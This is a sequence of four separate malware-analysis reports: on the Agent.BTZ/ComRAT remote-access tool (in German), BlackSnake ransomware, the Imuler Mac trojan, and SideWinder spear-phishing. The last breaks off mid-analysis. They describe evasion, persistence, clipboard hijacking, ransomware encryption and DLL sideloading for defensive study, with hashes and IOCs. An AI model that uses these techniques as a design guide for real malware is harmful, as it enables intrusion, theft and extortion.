# Weiterentwicklung anspruchsvoller Spyware: von Agent.BTZ zu ComRAT Im November 2014 veröffentlichten die Experten der G DATA SecurityLabs einen Artikel über ComRAT, den Nachfolger von Agent.BTZ. Wie wir damals erläuterten, stand dieser Fall mit dem Uroburos-Rootkit in Verbindung. Wir gehen davon aus, dass der Entwickler, der hinter diesen Kampagnen steht, verschiedene Malware-Stämme nutzt, um die anzugreifende Infrastruktur zu kompromittieren: Uroburos, ein Rootkit; Agent.BTZ/ComRAT, Fernsteuerungstool oder Linux-Malware und vielleicht sogar noch mehr. Wir entschlossen uns dazu, Agent.BTZ und ComRAT noch einmal genauer unter die Lupe zu nehmen. Deshalb haben wir die Entwicklung dieses Fernsteuerungstools über sieben Jahre untersucht. Die folgende Tabelle enthält minimale Informationen über 46 verschiedene Samples: | MD5 | Version | Compilation Date | | --- | --- | --- | | b41fbdd02e4d54b4bc28eda99a8c1502 | Ch 1.0 | Wed Jun 13 07:31:32 2007 UTC | | 93827a6c77e84ffdd9c793d485d3df6e | Ch 1.0 | Wed Jun 13 07:31:32 2007 UTC | | 3e9c7ef54ea3d55d5b53abab4c3e2385 | Ch 1.0 | Wed Jun 13 07:31:32 2007 UTC | | b9ed8876ef5a05ba364a9cdbdf4f184d | Ch 1.0 | Tue Jun 19 12:41:21 2007 UTC | | d8f98f64687b05a62c81ce9e52dd808d | Ch 1.1 | Tue Jun 26 08:46:11 2007 UTC | | 2cf64ff9dad8d64ee9322e390d4f7283 | Ch 1.1 | Tue Jun 26 08:46:11 2007 UTC | | 24e679155697bd31b34036a44d4346a7 | Ch 1.2wcc | Tue Jul 24 12:57:37 2007 UTC | | 53b8b9f779b1d1d298884d1c21313ab3 | Ch 1.2wcc | Tue Jul 24 12:57:37 2007 UTC | | 69ae46fedf3c18ff36fc850e0baa9365 | Ch 1.2wcc | Tue Jul 24 12:57:37 2007 UTC | | e05511a84eb345954b94f1e05c78bf22 | Ch 1.2 | Thu Jul 26 07:20:17 2007 UTC | | f93ce76f6580d68a95260198b2d6feaa | Ch 1.3 | Mon Dec 3 14:15:58 2007 UTC | | db5d1583704b0fb6d1cff0b62a512a7d | Ch 1.4 | Tue Dec 11 17:36:03 2007 UTC | | 2b348c225985679f62e50b28bdb74ac9 | Ch 1.4 | Tue Dec 11 17:36:03 2007 UTC | | af3f0efbd69905123f7df958cc88dff9 | Ch 1.4 | Tue Dec 11 17:36:03 2007 UTC | | e825c4961293ad45883cd52f38695283 | Ch 1.5 | Thu Mar 27 14:58:15 2008 UTC | | 2a67b53b7ef7b70763658ca7f60e7005 | Ch 1.5 | Thu Mar 27 14:58:15 2008 UTC | | bbf569176ec7ec611d8a000b50cdb754 | Ch 1.5 | Thu Mar 27 14:58:15 2008 UTC | | e5c76e67128e48cb0f003c2beee47d1f | Ch 1.5 | Thu Mar 27 14:58:15 2008 UTC | | 8e5da63369d20e1d2c530bf806996285 | Ch 2.02 | Mon May 5 11:27:48 2008 UTC | | 78d3f074b70788897ae7e20e5137bf47 | Ch 2.03 | Mon May 12 11:52:31 2008 UTC | | 986f263ca2c529d5d28bce3c62f858ea | Ch 2.03 | Thu May 22 10:24:55 2008 UTC | | 4f732099caf5d21729572cec229f7614 | Ch 2.04 | Mon Jun 9 17:23:56 2008 UTC | | 5336c24a3399f522f8e19d9c54a069c6 | Ch 2.04 | Mon Jun 9 17:23:56 2008 UTC | | dc1c54751f94b6fdf0b6ecdd64e67701 | Ch 2.04 | Mon Jun 9 17:23:56 2008 UTC | | 40335fca60acd05f1428b13a9a3c1228 | Ch 2.04 | Mon Jun 9 17:23:56 2008 UTC | | 72663ee9d3efaff959bff4ce25bd37a6 | Ch 2.04 | Mon Jun 9 17:23:56 2008 UTC | | 5ef72904221aa4090a262a24714054f0 | Ch 2.04 | Mon Jun 9 17:23:56 2008 UTC | | 331eca9c7d9fd9cbe7cd192af09880a3 | Ch 2.05 | Thu Nov 6 13:21:45 2008 UTC | | db1156b072d58acdac1aeab9af2160a2 | Ch 2.05 | Thu Nov 6 13:21:45 2008 UTC | | 74dbea70bfb15db31bb9f757ed4bb1a0 | Ch 2.07 | Mon Dec 29 11:37:17 2008 UTC | | eb928bca5675722c7e9e2b09eec1158a | Ch 2.07 | Mon Dec 29 11:37:17 2008 UTC | | 162f415abad9708aa61db8e03bcf2f3c | Ch 2.11 | Mon Sep 14 13:22:57 2009 UTC | | 448524fd62dec1151c75b55b86587784 | Ch 2.11 | Mon Sep 14 15:28:07 2009 UTC | | 29bb70a40689e9e665d15716519bacfd | Ch 2.12 | Tue Sep 29 10:28:40 2009 UTC | | 38d6719d6a266c6cefb8626c57378927 | Ch 2.13 | Mon Dec 7 14:25:12 2009 UTC | | 02eda1effde92bdf8462abcf40c4f776 | Ch 2.13 | Mon Dec 7 14:27:53 2009 UTC | | 5121ce1f96d74076df1c39748e019f42 | Ch 2.14.1 | Wed Feb 17 15:14:20 2010 UTC | | 28dc1ca683d6a14d0d1794a68c477604 | Ch 3.00 | Tue Jan 31 16:12:25 2012 UTC | | 40bd7846553550f38e458b8493824cb4 | Ch 3.00 | Tue Feb 14 10:28:06 2012 UTC | | ba0c777317461ed57a85ffae277044dc | Ch 3.02 | Wed Apr 4 16:23:44 2012 UTC | | b86137fa5a232c614ec5405be4d13b37 | Ch 3.10 | Tue Dec 18 08:22:43 2012 UTC | | 7872c1d88fe21d8a85f160a6666c76e8 | Ch 3.20 | Fri Jun 28 12:16:40 2013 UTC | | 83a48760e92bf30961b4a943d3095b0a | Ch 3.20 | Fri Jun 28 12:16:58 2013 UTC | | 3d65c18d09f47547f85c631ebeeda482 | Ch 3.20 | Mon Jun 24 10:51:01 2013 UTC | | ec7e3cfaeaac0401316d66e964be684e | Ch 3.25 | Thu Feb 6 12:37:44 2014 UTC | | b407b6e5b4046da226d6e189a67f62ca | Ch 3.26 | Thu Jan 3 18:03:46 2013 UTC | Aus den Versionsbezeichnungen können wir ableiten, dass die ermittelten Kompilierungsdaten korrekt sind, mit Ausnahme der letzten bekannten Version, bei der der Entwickler das Kompilierungsdatum modifiziert hat, um die Analyse zu erschweren. Wir sehen, dass diese Malware in den Jahren 2007 und 2008 sehr aktiv war. Weniger neue Versionen wurden im Jahr 2009 veröffentlicht; lediglich ein neues Sample wurde im Jahr 2010 erfasst. Ab dem Jahr 2011 fanden wir keine neuen Samples, aber die Malware tauchte im Jahr 2012 wieder mit einer neuen Hauptversion auf. ## Die Entwicklung des Fernsteuerungstools in zehn Schritten Um die Weiterentwicklung der Software zu beschreiben, haben wir zehn Hauptversionen verglichen: - Version Ch 1.0 (2007-06) im Vergleich zu Ch 1.5 (2008-03) - Version Ch 1.5 (2008-03) im Vergleich zu Ch 2.03 (2008-05) - Version Ch 2.03 (2008-05) im Vergleich zu Ch 2.11 (2009-09) - Version Ch 2.11 (2009-09) im Vergleich zu Ch 2.14.1 (2010-02) - Version Ch 2.14.1 (2010-02) im Vergleich zu Ch 3.00 (2012-01) - Version Ch 3.00 (2012-01) im Vergleich zu Ch 3.10 (2012-12) - Version Ch 3.10 (2012-12) im Vergleich zu Ch 3.20 (2013-06) - Version Ch 3.20 (2013-06) im Vergleich zu Ch 3.25 (2014-02) - Version Ch 3.25 (2014-02) im Vergleich zu Ch 3.26 (2013-01; Datum wurde modifiziert) Im folgenden Kapitel werden die wesentlichen Unterschiede zwischen den oben genannten Versionen dargelegt. Die folgende Tabelle zeigt die Ähnlichkeit der einzelnen Versionen in Prozent; verglichen werden jeweils nur die direkt aufeinanderfolgenden Versionen unter Verwendung von BinDiff: Die größten Code-Unterschiede sind zwischen Version 2.14.1 und Version 3.00 festzustellen. Dieser Sprung ergibt sich aus dem Fehlen von Samples in den dazwischenliegenden zwei Jahren; diese grundlegende Veränderung bezeichnen wir als das Ende von Agent.BTZ und den Beginn von ComRAT. ### Unterschiede zwischen den Versionen Ch 1.0 (2007-06) und Ch 1.5 (2008-03) Die analysierten Samples sind folgende: - Ch 1.0: b41fbdd02e4d54b4bc28eda99a8c1502 - Ch 1.5: bbf569176ec7ec611d8a000b50cdb754 - Ähnlichkeit des Codes: 90 % Wir haben keine grundlegenden Unterschiede zwischen den beiden Samples feststellen können. Jedoch können wir Folgendes festhalten: - Die Konfigurationsdatei (XML) in Version 1.5 ist nicht mehr im ASCII-Format, sondern in Unicode gespeichert. - Beide Versionen implementieren einen Mechanismus, um neue Datenträger zu infizieren, die am infizierten System angeschlossen werden. Weder die Implementierung noch das Protokoll der Datenträgerinfizierung sind identisch. - Version 1.5 erstellt das neue Event „wowmgr_is_load“. Dieses Event wurde dann jahrelang verwendet. ### Unterschiede zwischen den Versionen Ch 1.5 (2008-03) und Ch 2.03 (2008-05) Die analysierten Muster sind folgende: - Ch 1.5: bbf569176ec7ec611d8a000b50cdb754 - Ch 2.03: 78d3f074b70788897ae7e20e5137bf47 - Ähnlichkeit des Codes: 83 % In Version 2.03 von Agent.BTZ haben die Entwickler Folgendes geändert: - Sie führten eine Verschlüsselungstechnik ein, um kritische Zeichenketten zu verbergen. - Dem Kommunikationsprotokoll wurde das Flag „<CHCMD>“ hinzugefügt. Wir gehen davon aus, dass „CH“ dieselbe Bedeutung wie „Ch“ vor der Versionsnummer hat und „CMD“ eine Abkürzung für Command (Befehl) ist. - Von nun an unterstützt die Malware „Runas“, um Befehle als Administrator auszuführen. Dieser Befehl wurde im Jahr 2007 von Microsoft in Windows Vista implementiert. Wir gehen davon aus, dass der Entwickler diese Funktion implementiert hat, weil mehrere Zielcomputer im Jahr 2008 auf diese Windows-Version umstiegen. Laut einem Bericht wurde Version 1.5 für einen Angriff gegen das US-Verteidigungsministerium (Pentagon) eingesetzt. Wir gehen davon aus, dass die Zeichenfolgenverschlüsselung durchgeführt wurde, um Sicherheitsmaßnahmen zu umgehen, die Angriffe erkennen sollen. ### Unterschiede zwischen den Versionen Ch 2.03 (2008-05) und Ch 2.11 (2009-09) Die analysierten Muster sind folgende: - Ch 2.03: 78d3f074b70788897ae7e20e5137bf47 - Ch 2.11: 162f415abad9708aa61db8e03bcf2f3c - Ähnlichkeit des Codes: 96 % Der Programmcode dieser beiden Versionen weist kaum Unterschiede auf. Wir konnten nur sehr geringe Unterschiede feststellen: - Der Entwickler hat die Bezeichnung mehrerer Registry-Schlüssel geändert (vermutlich, um die Erkennung durch bekannte IOCs zu vermeiden). - Auch die Bezeichnungen zweier exportierter Funktionen wurden geändert: Aus InstallM() wurde AddAtomT() und aus InstallS() wurde AddAtomS(), wahrscheinlich aus denselben, bereits oben dargelegten Gründen. ### Unterschiede zwischen den Versionen Ch 2.11 (2009-09) und Ch 2.14.1 (2010-02) Die analysierten Muster sind folgende: - Ch 2.11: 162f415abad9708aa61db8e03bcf2f3c - Ch 2.14.1: 5121ce1f96d74076df1c39748e019f42 - Ähnlichkeit des Codes: 98 % Auch bei diesen Versionen ist der Code sehr ähnlich. Wir konnten nur zwei Unterschiede feststellen: - Der Entwickler hat einige Fehler gepatcht. - Es sind vier neue Exporte vorhanden: DllCanUnLoadNow(), DllGetClassObject(), DllRegisterServer(), DllUnregisterServer(). Die vier exportierten Bibliotheken zeigen, dass die Malware erstmalig das OLE Component Object Model (COM) unterstützt. Diese Version ist die erste Version, die in der Lage ist, als COM-Objekt registriert zu werden. Drei der vier Funktionen haben keinen Inhalt. Die vierte Funktion führt die Malware aus. ### Unterschiede zwischen den Versionen 2.14.1 (2010-02) und Ch 3.00 (2012-01) Die analysierten Muster sind folgende: - Ch 2.14.1: 5121ce1f96d74076df1c39748e019f42 - Ch 3.00: 28dc1ca683d6a14d0d1794a68c477604 - Ähnlichkeit des Codes: 60 % Der Code dieser Versionen weist große Unterschiede auf, wenngleich einige Teile von Version 2.14.1 beibehalten wurden. Außerdem haben die Entwickler einen anderen Compiler benutzt; sie sind von Visual Studio 6.0 auf Visual Studio 9.0/10.0 umgestiegen, was ein bedeutender Indikator für die großen Unterschiede ist. Version 3.00 ist die Version, die die Experten der G DATA SecurityLabs als „ComRAT“ bezeichnen. Damit ist Version 2.14.1 die letzte Version von Agent.BTZ. Hier die wichtigsten Unterschiede zwischen Agent.BTZ und ComRAT: - Die neue Malware sammelt mehr Informationen über das infizierte System (beispielsweise Laufwerksinformationen, Volume-Informationen usw.). - Der Mechanismus zum Infizieren von Datenträger-Sticks wurde endgültig entfernt. Der Grund hierfür ist vermutlich, dass Microsoft die automatische Ausführung bei externen Datenträgern deaktiviert hat. Für die Angreifer ist dieser Infektionsvektor nicht mehr interessant. - Die Malware wird in jeden Prozess des infizierten Computers injiziert; die primäre Payload wird in „explorer.exe“ ausgeführt. - Der Kommunikationskanal zum Command & Control Server ist nicht mehr derselbe. In der neuen Version nutzt die Malware POST-Anfragen nach folgendem Muster: Da die Malware in jeden Prozess des infizierten Systems injiziert wird, erstellt sie eine sogenannte „Named Pipe“ für die prozessübergreifende Kommunikation. Bei mehreren Samples von Version 3.00 vergaß der Entwickler, den Kompilierungspfad zu entfernen. Hier einige Beispiele: - c:\projects\ChinckSkx64\Debug\Chinch.pdb - c:\projects\ChinckSkx64\Release\libadcodec.pdb - C:\projects\ChinckSkx64\x64\Release\libadcodec.pdb - E:\old_comp\_Chinch\Chinch\trunk\Debug\Chinch.pdb - c:\projects\ChinchSk\Release\libadcodec.pdb Aufgrund dieser Kompilierungspfade gehen wir davon aus, dass der ursprüngliche Name des Fernsteuerungstools „Chinch“ ist. Dies führt uns zu der Annahme, dass die Zeichenfolge „CH“ in der Versionsbezeichnung und im Flag „<CHCMD>“ für „Chinch“ steht. Das englische Wort „Chinch“ bezeichnet das kleine nordamerikanische Insekt mit der wissenschaftlichen Bezeichnung Blissus leucopterus. Dieses Wort leitet sich vom spanischen Wort „chinche“ ab, das Wanze bedeutet. ### Unterschiede zwischen den Versionen Ch 3.00 (2012-01) und Ch 3.10 (2012-12) Die analysierten Muster sind folgende: - Ch 3.00: 28dc1ca683d6a14d0d1794a68c477604 - Ch 3.10: b86137fa5a232c614ec5405be4d13b37 - Ähnlichkeit des Codes: 90 % Der Code ist bei diesen Versionen ähnlich, doch die Entwickler haben einige neue Funktionen integriert: - Die Malware generiert mehr Protokolle. - Die Malware verfügt über einen Mutex-Handle. - Version 3.10 unterstützt mehrere Command & Control Server. Diese letztgenannte neue Funktion ist sehr interessant: Wenn die kompromittierten Zielcomputer einen bestimmten C&C-Server blockieren, funktioniert die Malware dennoch weiterhin über zwei alternative Command & Control Server. ### Unterschiede zwischen den Versionen Ch 3.10 (2012-12) und Ch 3.20 (2013-06) Die analysierten Samples sind folgende: - Ch 3.10: b86137fa5a232c614ec5405be4d13b37 - Ch 3.20: 7872c1d88fe21d8a85f160a6666c76e8 - Ähnlichkeit des Codes: 93 % Die wichtigste neue Funktion dieser Version ist die neue Exportfunktion InstallW(). Diese Exportfunktion wird vom Dropper dazu verwendet, dauerhafte Registry-Einträge zu erstellen und – wie in unserem letzten Artikel beschrieben – eine zweite Datei abzusetzen. Version 3.20 verwendet die folgende CLSID, um ein COM-Objekt zu manipulieren: B196B286-BAB4-101A-B69C-00AA00341D07. Dieses Objekt ist die Schnittstelle IConnectionPoint. Die CLSID wurde nur in dieser Version verwendet. Wir gehen davon aus, dass die durchgeführte Manipulation des COM-Objekts einige Probleme auf dem infizierten System erzeugt. Deshalb hat der Entwickler damit im Zusammenhang stehende Aspekte in der nächsten Version geändert. Darüber hinaus wurde die CLSID im Sample in Klartext gespeichert. ### Unterschiede zwischen den Versionen Ch 3.20 (2013-06) und Ch 3.25 (2014-02) Die analysierten Samples sind folgende: - Ch 3.20: 7872c1d88fe21d8a85f160a6666c76e8 - Ch 3.25: ec7e3cfaeaac0401316d66e964be684e - Ähnlichkeit des Codes: 91 % In Version 3.25 ist der Entwickler auf folgende CLSID umgestiegen: 42aedc87-2188-41fd-b9a3-0c966feabec1. Dies wird in unserem Bericht "Die Akte Uroburos: neues, ausgeklügeltes RAT identifiziert" beschrieben. Zudem sind die Zeichenketten im Muster verschlüsselt. Die wichtigste Neuerung ist die Verschlüsselung – fast alle Zeichenketten sind verschlüsselt, und das XML-Muster ist nicht mehr in Klartext geschrieben. ### Unterschiede zwischen den Versionen 3.25 Ch (2014-02) und Ch 3.26 (2013-01; Datum wurde modifiziert) Die analysierten Samples sind folgende: - Ch 3.25: ec7e3cfaeaac0401316d66e964be684e - Ch 3.26: b407b6e5b4046da226d6e189a67f62ca - Ähnlichkeit des Codes: 95 % Version 3.26 ist die jüngste bekannte Version. In dieser Version haben die Entwickler folgende Änderungen vorgenommen: - Der bekannte, in Agent.BTZ und Uroburos genutzte, XOR-Schlüssel wurde entfernt. Wir gehen davon aus, dass sich der Entwickler aufgrund der G DATA-Veröffentlichung im Februar 2014 dazu entschlossen hat, möglichst viele Zusammenhänge zwischen Uroburos und Agent.BTZ/ComRAT/Chinch zu entfernen. - Die Entwickler generieren keine Protokolle mehr. - Das Kompilierungsdatum wurde geändert, um die Analyse und die Erstellung einer Zeitleiste zu erschweren. ## Fazit Diese Analyse zeigt uns die Entwicklung eines Fernsteuerungstools über sieben Jahre. Es wird von einer Gruppe genutzt, die Angriffe gegen sensible Organisationen wie etwa im Jahr 2008 gegen das US-Verteidigungsministerium (Pentagon) oder im Jahr 2014 gegen das belgische Außenministerium sowie gegen das finnische Außenministerium richtete. Bis auf die Änderungen in Version 3.00 sind die vorgenommenen Änderungen eher marginal. Wir erkennen, dass die Entwickler Funktionen an die Windows-Versionen angepasst, Fehler gepatcht, Verschlüsselungstechniken integriert haben usw. Das größte Update auf Version 3.00 wurde nach zwei Jahren des Schweigens durchgeführt. Offenbar wurde dieses Fernsteuerungstool parallel zum Uroburos-Rootkit eingesetzt. Dennoch ist nicht völlig klar, wie und wann die Angreifer sich dazu entschieden haben, das Fernsteuerungstool oder das Rootkit einzusetzen oder ob beide Tools parallel genutzt werden. Unter Berücksichtigung aller Aspekte sind die Experten der G DATA SecurityLabs davon überzeugt, dass die Gruppe, die hinter Uroburos/Agent.BTZ/ComRAT bzw. dem Linux-Tool steckt, auch weiterhin eine aktive Rolle im Bereich Malware und APT spielen wird. Aufgrund der neuesten Analyseergebnisse und der daraus gezogenen Schlussfolgerungen kommen wir zu der Ansicht, dass noch weitere Bedrohungen folgen werden.
# BlackSnake Ransomware Emerges from Chaos Ransomware’s Shadow **March 9, 2023** New Ransomware Goes Beyond Traditional Tactics with Clipper Integration Ransomware is a significant threat that can encrypt its victims’ files and demand a ransom. Additionally, the Threat Actors (TAs) responsible for these attacks often use a double extortion technique, where they encrypt the files and exfiltrate sensitive data from the victim’s device before encryption. These TAs then leverage this stolen data to extort their victims further by threatening to release it on a leaked site unless their demands are met. The TAs are constantly devising new methods to extort money from their victims. In the previous year, Cyble Research and Intelligence Labs (CRIL) discovered a ransomware variant that not only encrypts victims’ files but also steals their Discord tokens. Recently, CRIL spotted a new strain of malware known as the “BlackSnake” ransomware that is capable of performing clipper operations aimed at cryptocurrency users. This variant was initially identified by a researcher @siri_urz. It was detected in the cybercrime forum in 2022, and the TAs behind it were actively seeking affiliates. In addition, the TAs claimed they would take a 15% share of the profits generated through the affiliation process. Our analysis has uncovered evidence suggesting that BlackSnake Ransomware has been created based on the source of Chaos ransomware. In this blog, we delve into the technical aspects of BlackSnake Ransomware, including its clipper operations. ## Technical Analysis Static analysis of the sample with hash: `e4c2e0af462ebf12b716b52c681648d465f6245ec0ac12d92d909ca59662477b` shows that the malicious file is a 32-bit PE binary compiled using .NET. Upon execution, the BlackSnake Ransomware performs an initial check to verify if the current input language of the system matches the language codes “az-Latn-AZ” or “tr-TR”. If a match is found, the ransomware immediately terminates itself, indicating that the TAs of BlackSnake ransomware intend to exclude systems located in Azerbaijan or Turkey. After confirming the user’s location, the BlackSnake Ransomware creates a registry entry: ``` HKEY_CURRENT_USER\SOFTWARE\oAnWieozQPsRK7Bj83r4 ``` The BlackSnake ransomware has a method of detecting whether it has already infected a system. It does this by checking the location of the executing assembly with the path `C:\Users[user-name]\AppData\Roaming\svchost.exe`. If this path matches, the ransomware continues to search for the file named “UNLOCK_MY_FILES.txt” in the %appdata% directory. Once the file is found, the ransomware will terminate itself. This behavior suggests that the ransomware is designed to avoid infecting a system more than once, and it may be an attempt to limit the impact of the ransomware. To prevent multiple instances of the malware from running concurrently, the malware enumerates the names of all currently running processes, retrieves the filename of the current executing assembly, and compares it with the filenames of the running processes. If there is a match, the malware then compares the Process ID of the current process with that of the target process. If there is a difference in the IDs, the malware identifies itself as a duplicate instance and terminates itself to avoid running multiple copies at the same time. After confirming that there is no existing infection of itself, the ransomware creates a copy of itself in the %appdata% directory with the file name “svchost.exe” and executes the newly created process. The ransomware now creates a new thread for executing the clipper module, which includes functions such as GetText(), PatternMatch(), and SetText(). These functions allow the clipper module to perform its intended task of intercepting and modifying clipboard data as needed. By constantly monitoring the user’s clipboard activity, the BlackSnake malware can check whether any cryptocurrency addresses are present by utilizing a hardcoded regular expression pattern for validation. The BlackSnake clipper module appears to specifically target Bitcoin wallet addresses, as indicated by the pattern used for identification. When a matching wallet address is found in the clipboard data, the malware utilizes the SetText() method to replace it with a hardcoded Bitcoin wallet address belonging to the attacker. Once the clipper module is executed, the BlackSnake ransomware jumps to the encrypting modules. The malware creates a registry entry that automatically launches whenever the system starts to ensure it remains active and persistent on the infected system: ``` HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run “C:\Users\[user-name]\AppData\Roaming\svchost.exe” ``` Before encrypting files, the ransomware identifies the list of directories to be enumerated and excludes a few folders from its encryption process. Once the relevant directories are identified, the malware enumerates all the files. During this stage, the ransomware checks the file path against a pre-defined list of strings. Any file path that matches these strings is then excluded from the encryption process. The ransomware specifically focuses on encrypting files that have the following file extensions: ``` .txt, .jar, .dat, .contact, .settings, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .odt, .jpg, .mka, .mhtml, .oqy, .png, .csv, .sql, .mdb, .php, .asp, .aspx, .html, .htm, .xml, .psd, .pdf, .xla, .cub, .dae, .indd, .mp3, .mp4, .dwg, .zip, .rar, .mov, .rtf, .bmp, .mkv, .avi, .apk, .lnk, .dib, .dic, .dif, .divx, .iso, .7zip, .ace, .arj, .bz2, .cab, .gzip, .lzh, .tar, .jpeg, .mpeg, .torrent, .mpg, .core, .pdb, .ico, .pas, .wmv, .swf, .cer, .bak, .backup, .accdb, .bay, .p7c, .exif, .vss, .raw, .m4a, .wma, .flv, .sie, .sum, .ibank, .wallet, .css, .crt, .xlsm, .xlsb, .cpp, .java, .jpe, .ini, .blob, .wps, .docm, .wav, .3gp, .webm, .m4v, .amv, .m4p, .svg, .ods, .vdi, .vmdk, .onepkg, .accde, .jsp, .json, .gif, .log, .config, .m1v, .sln, .pst, .obj, .xlam, .djvu, .inc, .cvs, .dbf, .tbi, .wpd, .dot, .dotx, .xltx, .pptm, .potx, .potm, .pot, .xlw, .xps, .xsd, .xsf, .xsl, .kmz, .accdr, .stm, .accdt, .ppam, .pps, .ppsm, .1cd, .3ds, .3fr, .3g2, .accda, .accdc, .accdw, .adp, .ai3, .ai4, .ai5, .ai6, .ai7, .ai8, .arw, .ascx, .asm, .asmx, .avs, .bin, .cfm, .dbx, .dcm, .dcr, .pict, .rgbe, .dwt, .f4v, .exr, .kwm, .max, .mda, .mde, .mdf, .mdw, .mht, .mpv, .msg, .myi, .nef, .odc, .geo, .swift, .odm, .odp, .oft, .orf, .pfx, .p12, .pls, .safe, .tab, .vbs, .xlk, .xlm, .xlt, .xltm, .svgz, .slk, .tar.gz, .dmg, .psb, .tif, .rss, .key, .vob, .epsp, .dc3, .iff, .onepkg, .onetoc2, .opt, .p7b, .pam, .r3d, .pse, .webp ``` The BlackSnake ransomware encryption process consists of several stages. In the first step, the malware employs a `string_Builder()` function to generate a 40-byte random string. Next, it retrieves a pre-defined RSA public key that is hard-coded within the malware file. This key encrypts the previously generated random string, producing a key suitable for AES encryption. Once the malware gets the key, it encrypts all the identified files from the directory using the AES algorithm and appends the generated key (base64 encoded) to the end of the encrypted file. On successful encryption, it appends the “pay2unlock” extension to the encrypted files and drops a ransom note in that folder. Finally, the victims are presented with a ransom note, “UNLOCK_MYFiles.txt” that directs them to contact the attackers via their TOX_ID if they wish to recover their encrypted files. ## Conclusion It is convenient and straightforward for TAs to use pre-existing ransomware codes as a basis for developing new ransomware families. Onyx and Yashma ransomware families were already linked to the Chaos ransomware family, and the BlackSnake ransomware is another family now associated with Chaos ransomware. The Threat Actor has tweaked the Chaos ransomware source code and added a clipper module directly into the file, which is different from the usual approach of having a separate file for the clipper. Cyble Research & Intelligence Labs continuously monitors all ransomware campaigns and will keep updating our readers with the latest information as and when we find it. ## Our Recommendations We have listed some essential cybersecurity best practices that create the first line of control against attackers. We recommend that our readers follow the best practices given below: - Back up data on different locations and implement Business Continuity Planning (BCP). - Keep the Backup Servers isolated from the infrastructure, which helps fast data recovery. - Frequent Audits, Vulnerability Assessments, and Penetration Testing of organizational assets, including network and software. - Enforcement of VPN to safeguard endpoints. - Conduct frequent training on security awareness for the company’s employees to inform them about emerging threats. - Implementation of technology to understand the behavior of the ransomware-malware families and variants to block malicious payloads and counter potential attacks. - Users should carefully check their wallet addresses before making any cryptocurrency transaction to ensure there is no change when copying and pasting the actual wallet addresses. - The seeds for wallets should be stored safely and encrypted on any devices. ## MITRE ATT&CK® Techniques | Tactic | Technique ID | Technique Name | |-------------|--------------|-----------------------------------------| | Execution | T1204 | User Execution | | Impact | T1486 | Data encrypted for impact | | | T1490 | Inhibit System Recovery | | Discovery | T1082 | System Information | | | T1083 | Discovery File and Directory Discovery | | | T1057 | Process Discovery | | Defense Evasion | T1140 | Deobfuscate/Decode Files or Information | | Persistence | T1547 | Registry Run Keys / Startup Folder | ## Indicators of Compromise (IOCs) | Indicators | Indicator Type | Description | |---------------------------------------------------------------------------|----------------|---------------------------| | e4c2e0af462ebf12b716b52c681648d465f6245ec0ac12d92d909ca59662477b | Sha256 | BlackSnake Ransomware | | afa9d7c88c28e9b8cca140413cfb32e4 | MD5 | BlackSnake Ransomware | | 6936af81c974d6c9e2e6eaedd4026a37135369bc | SHA-1 | BlackSnake Ransomware |
# New variant of Mac Trojan discovered, targeting Tibet By Graham Cluley 13 Nov 2012 It’s true to say that there’s a lot less malware in existence for Macs than there is for Windows PCs. But that doesn’t mean that it doesn’t exist at all. Clinging onto the statistics of the much smaller proportion of Mac malware compared to Windows malware is going to be cold comfort if your Apple Mac is the one which ends up getting infected. The latest Mac malware seen by the experts at SophosLabs is a new variant of the OSX/Imuler Trojan horse. In the past, earlier variants of the OSX/Imuler malware have been spread via topless photos of a Russian supermodel or embedded deep inside boobytrapped PDF files. This time, it appears that a version of the Imuler Trojan has been used in a targeted attack against sympathisers of the Dalai Lama and the Tibetan government, as the malware appears to have been packaged with images of Tibetan organisations. If your Mac was successfully infected by malware like this, you have effectively given remote control of your computer and your data to an invisible and unknown party. They could steal files from your Mac, spy on your emails, and plant further malware onto your systems. (It will be left as an exercise to the reader to come up with a shortlist of who might have an interest in breaking into the computers of Tibetan organisations). Customers of Sophos, including users of Sophos’s free anti-virus for Mac, are protected against the malware which has been detected as a variant of the OSX/Imuler-B backdoor Trojan since the early hours of 11th November 2012. Users of other Mac anti-virus products may be wise to check with their vendors if they are protected. This new malware variant may not be widespread – but it is another indication that the malware threat on Macs is real and should not be underestimated.
# SideWinder Uses South Asian Issues for Spear Phishing, Mobile Attacks While tracking the activities of the SideWinder group, we identified a server used to deliver a malicious LNK file and host multiple credential phishing pages. In addition, we also found multiple Android APK files on their phishing server. **By:** Joseph C Chen, Jaromir Horejsi, Ecular Xu **Date:** December 09, 2020 While tracking the activities of the SideWinder group, which has become infamous for targeting the South Asia region and its surrounding countries, we identified a server used to deliver a malicious LNK file and host multiple credential phishing pages. We learned that these pages were copied from their victims’ webmail login pages and subsequently modified for phishing. We believe further activities are propagated via spear-phishing attacks. The group’s targets include multiple government and military units, mainly in Nepal and Afghanistan. After the gathered credentials are sent, some of the phishing pages will redirect victims to different documents or news pages. The themes and topics of these pages and documents are related to either Covid-19 or recent territory disputes between Nepal, Pakistan, India, and China. Furthermore, it seems that these lures are distributed via phishing links. We also found multiple Android APK files on their phishing server. While some of them are benign, we also discovered malicious files created with Metasploit. One of the normal applications, called “OpinionPoll,” is a survey app for gathering opinions regarding the Nepal-India political map dispute, which seems to be another political lure similar to the one they used in the spear-phishing portion. We believe these applications are still under development and will likely be used to compromise mobile devices in the future. SideWinder has been very active in 2020. Earlier this year, we published a report on how the SideWinder APT group used the Binder exploit to attack mobile devices. The group also launched attacks against Pakistan, Bangladesh, and China using lure files related to Covid-19. ## Analysis of the Malicious Document The use of malicious documents is one of SideWinder’s most common infection vectors. We collected several different samples from the campaign, including: 1. An LNK file that downloads an RTF file and drops a JavaScript file 2. A ZIP file containing an LNK file, which downloads an HTA file (with JavaScript) 3. An RTF file that drops a JavaScript file 4. A PDF file with an embedded JavaScript stream 5. A DOCX file with an external link to an OLE object (RTF file), which contains and drops a JavaScript file All of these cases end up with either the downloading or dropping of files and then the execution of JavaScript code, which is a dropper used to install the main backdoor + stealer. The downloaded RTF files exploit the CVE-2017-11882 vulnerability. It drops a file named 1.a (a JavaScript code), which drops the backdoor + stealer into a folder in ProgramData and directly executes it or creates a scheduled task to execute the dropped files at a later time. The content of the newly created folder contains a few files, including Rekeywiz (EFS REKEY wizard), which is a legitimate Windows application. This application loads various system DLL libraries, including shell32.dll, which sideloads DUser.dll, one of shell32’s DelayImports. However, a fake DUser.dll gets loaded into the process. This fake DLL library decrypts the main backdoor + stealer from the .tmp file in the same directory. The decryption process is a simple XOR, where the key is the first 32 bytes from the encrypted file and the payload are the remaining bytes. The decrypted payload is the main backdoor .NET executable binary. In Resources, the Default resource contains the encrypted configuration. 